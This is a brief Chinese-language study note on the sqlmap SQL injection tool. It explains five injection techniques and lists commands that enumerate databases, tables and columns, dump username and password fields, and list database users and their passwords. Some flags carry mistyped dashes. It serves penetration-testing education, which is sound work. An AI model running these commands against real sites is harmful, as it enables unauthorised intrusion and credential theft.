sqlmap是一個自動化的sql注入工具,主要功能是掃描、發現並利用給定的url的sql注入漏洞,還內置了很多的繞過插件。sqlmap採用了五種sql注入技術:
基於布爾類型的盲注,即可以根據返回頁面判斷條件真假的注入。
基於時間的盲注,即不能根據頁面返回的內容判斷任何的信息,要用條件語句查看時間延遲語句是否已執行(即頁面返回時間是否增加)來判斷。
基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回到頁面中。
聯合查詢注入,在可以使用union的情況下的注入
堆查詢注入,可以同時執行多條語句時的注入
判斷是否存在注入
sqlmap -u url |
當注入點後面的參數大於等於兩個時,url需要加雙引號
查詢當前用戶下的所有數據庫:
sqlmap -u url –-dbs
該命令用於查詢當前用戶下的所有數據庫,前提是當前用戶有權限讀取包含所有數據庫列表信息的表
獲取數據庫中的表名:
sqlmap -u url -D xxx –-tables
查詢指定的數據庫的所有表名,-D是指定某一個具體的數據庫,如果沒有指定,則會列出數據庫中所有的庫的表
獲取表中的字段名:
sqlmap -u URL -D 數據庫名 -T user_info –-columns
user_info 是數據庫中的一個表
獲取字段內容:
sqlmap -u URL -D 數據庫名 -T 表名 -C username,password –-dump
這裏查詢username和password的值
獲取數據庫的所有用戶:
sqlmap -u URL –-users
前提是當前用戶有權限讀取包含所有用戶的表的權限
獲取數據庫用戶的密碼:
sqlmap -u url –passwords
列出數據庫用戶的密碼,前提是當前用戶有讀取包含用戶密碼的權限
獲取當前網站數據庫的名稱:
sqlmap -u URL –-current-db
獲取當前網站數據庫的用戶名稱:
sqlmap -u URL –-current-user
參考書籍:web安全攻防